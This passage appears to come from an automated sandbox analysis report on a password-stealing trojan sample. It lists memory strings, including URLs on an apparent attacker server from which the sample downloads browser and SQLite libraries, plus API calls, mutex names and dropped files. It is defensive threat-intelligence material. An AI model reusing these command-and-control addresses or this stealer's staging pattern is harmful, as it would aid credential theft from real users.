Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlld
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlll~
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246968570.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247098180.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dllvcruntime140.dll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247833378.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248395447.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247585846.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248000293.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246968570.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247098180.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll-534f73005f5f759413LMEM
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207869504.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186677991.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186878241.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/e4
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207869504.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186677991.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/p
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59:80
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.000000000069F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.000000000069F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260563611.000000000069E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000069E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000069E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260477742.0000000000699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59:80/098e00d7c477aadee19feb075a6b5030
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59:80ommon
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: sqlite3.dll.0.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 9Vwl42VqIcns.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 9Vwl42VqIcns.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 9Vwl42VqIcns.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 9Vwl42VqIcns.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 9Vwl42VqIcns.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0
Source: 9Vwl42VqIcns.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 9Vwl42VqIcns.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00408CDA	0_2_00408CDA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00401000	0_2_00401000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040C92D	0_2_0040C92D

Source: sqlite3.dll.0.dr

Static PE information: Number of sections : 18 > 10

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/64@0/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_004108CA FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,SetEnvironmentVariableA,LocalFree,OutputDebugStringA,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateFileMappingW,RegOpenKeyExA,RegOpenKeyExA,CreateToolhelp32Snapshot,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,OutputDebugStringA,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,RegOpenKeyExA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,Process32FirstW,lstrcmpiW,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,LocalAlloc,SetEnvironmentVariableA,LocalFree,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,FindFirstFileA,FindClose,CreateFileMappingW,OutputDebugStringA,OutputDebugStringA,CloseHandle,OutputDebugStringA,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,

0_2_004108CA

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

File created: C:\Users\user\AppData\LocalLow\nss3.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX3sjtcbw7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXcgly634y
